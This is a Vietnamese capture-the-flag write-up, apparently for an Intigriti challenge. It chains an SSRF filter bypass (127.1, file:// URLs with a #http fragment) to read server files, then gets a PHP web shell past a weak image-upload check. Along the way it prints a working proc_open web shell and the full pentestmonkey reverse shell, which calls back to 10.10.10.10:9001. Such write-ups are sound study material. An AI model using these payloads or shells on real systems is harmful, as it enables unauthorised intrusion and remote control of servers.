Truy cập trang web

Thử chức năng của trang web .Ta biết chức năng trang web gửi yêu cầu GET tới đường dẫn url truyền vào và trả về phản hồi của url

`
This URL has no default content configured. <a href="https://webhook.site/#!/edit/b59dd0c4-c8db-4633-baa0-49f57374c5b7">Change response in Webhook.site</a>.
`
Sử dụng công cụ Wappalyzer để kiểm tra công nghệ trang web đang sử dụng

Biết được trang web được code bởi ngôn ngữ PHP phiên bản 8.1.33

Dựa vào chức năng ta có dự đoán ban đầu trang web có lỗ hổng SSRF
Thử truy cập tới
```
http://127.0.0.1/
```

Phản hồi trả về `Invalid URL : access to localhost is not allowed` -> Đang chặn `127.0.0.1`
Sử dụng payload khác
```
http://127.1/
```
thành công trả về phản hồi là nội dung trang

-> Xác nhận lỗ hổng SSRF
Ta thử đọc nội dung file /etc/passwd với payload
```
file:///etc/passwd
```
Phản hồi trả về yêu cầu trong url phải có `http`

Ta thêm `http` vào đằng sau fragment `#` .Và cuối cùng với payload
```
file:///etc/passwd#http
```
ta thành công đọc được nội dung file `etc/passwd`

Tiếp tục ta đọc nội dung các file của trang web trong thư mục `/var/www/html`
`
file:///var/www/html#http
`

```
file:///var/www/html/challenge.php#http
```

Trang web sử dụng bộ lọc đầu vào lỏng lẻo chỉ kiểm tra xem có chứa `http` trong url không và xem có chứa chuỗi `127.0.0.1` và `localhost` không
```
<?php
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (stripos($url, 'http') === false) {
die("<p style='color:#ff5252'>Invalid URL: must include 'http'</p>");
}
if (stripos($url, '127.0.0.1') !== false || stripos($url, 'localhost') !== false) {
die("<p style='color:#ff5252'>Invalid URL: access to localhost is not allowed</p>");
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if ($response === false) {
echo "<p style='color:#ff5252'>cURL Error: " . curl_error($ch) . "</p>";
} else {
echo "<h3>Fetched content:</h3>";
echo "<pre>" . htmlspecialchars($response) . "</pre>";
}
curl_close($ch);
}
?>
```
Ta thấy trong thư mục `/var/www/html` có 1 file `upload_shoppix_images.php` ta thử truy cập vào đường dẫn `/upload_shoppix_images.php` nhưng bị chặn truy cập

Ta biết được web đang chạy trên php 8.1.33 ta nghĩ tới việc tìm đọc file cấu hình chặn truy cập vào đường dẫn `/upload_shoppix_images.php`

```
file:///etc/apache2/sites-available/000-default.conf#http
```

```
<Files "upload_shoppix_images.php">
<If "%{HTTP:is-shoppix-admin} != 'true'">
Require all denied
</If>
Require all granted
</Files>
```
`HTTP:is-shoppix-admin` → đại diện cho header HTTP có tên is-shoppix-admin


Ta đọc source code của file `upload_shoppix_images.php` bằng câu lệnh
```
file:///var/www/html/upload_shoppix_images.php
```

```
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$file = $_FILES['image'];
$filename = $file['name'];
$tmp = $file['tmp_name'];
$mime = mime_content_type($tmp);
if (
strpos($mime, "image/") === 0 &&
(stripos($filename, ".png") !== false ||
stripos($filename, ".jpg") !== false ||
stripos($filename, ".jpeg") !== false)
) {
move_uploaded_file($tmp, "uploads/" . basename($filename));
echo "<p style='color:#00e676'>✅ File uploaded successfully to /uploads/ directory!</p>";
} else {
echo "<p style='color:#ff5252'>❌ Invalid file format</p>";
}
}
?>
```
Thì ra đường dẫn `upload_shoppix_images.php` nhận phương thức POST .
Hàm `mimi_content_type` của file bằng thông tìm từ file magic.mime

-> Ta dễ dàng thay đổi magic.mime file của ảnh
Hàm `stripos` là hàm vị trí của chuỗi cần tìm trong chuỗi khác nếu không có trả về False .

Trong code hàm kiểm tra xem có tồn tại chuỗi `image/` ở đầu không
Tương tự nó chỉ kiểm tra xem có tồn tại chuỗi `.png` ,`.jpg` , `.jpeg` trong tên file không .-> Ta dễ dàng bypas bằng cách đặt tên`shell.png.php`
Ta thấy dòng `move_uploaded_file($tmp, "uploads/" . basename($filename))` là dòng để di chuyển chuyển file từ thư mục `$tmp` vào thư mục uploads.
Ta thử upload 1 file ảnh bình thường lên


Ta biết được đường dẫn nơi chứa file ảnh upload lên

Dựa vào source code bên trên ta upload ảnh có tên `shellexploit.png.php` chứa nội dung payload trong ảnh là
`<?php system($_GET['cmd']); ?>`
Upload thành công ảnh

Nhưng ta không có được web shell khi truy cập vào đường dẫn ảnh

Ta thử upload nội dung cơ bản hơn là `<?php phpinfo();?>`

Thành công đọc được nội dung phpinfo()

Ta phát hiện trang web đang chặn thực thi các hàm `system,,passthru,shell_exec,popen,exec`

Đó chính là lí do tại sao ta upload web shell ban đầu thành công nhưng không thực thi
Hướng thay thế : ta sử dụng webshell với hàm thực thi là proc_open

```
<div><?php
$cmd = $_GET["cmd"];
echo "<p><b>Command</b><br>$cmd</p>";
$descriptorspec = [
0 => ["pipe", "r"], // stdin
1 => ["pipe", "w"], // stdout
2 => ["pipe", "w"], // stderr
];
$process = proc_open($cmd, $descriptorspec, $pipes);
echo "<p><b>Output:</b><p>";
echo "<div>";
if (is_resource($process)) {
while ($line = fgets($pipes[1])) {
echo "$line<br>";
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$return_value = proc_close($process);
echo "The command returned $return_value\n";
}
echo "<div>"
?>
</div>
```

Ta thành công upload webshell và webshell đã chạy với `cmd=whoami`



Cuối cùng ta thành công tìm được file chứa flag và đọc được flag
`INTIGRITI{ngks896sdjvsjnv6383utbgn}`
Ta sử dụng đoạn code reverse shell php này
```
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.10.10';
$port = 9001;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; bash -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Upload reverse shell lên nằm bên trong nội dung ảnh

Truy cập vào đường dẫn chứa ảnh lấy thành công reverse shell
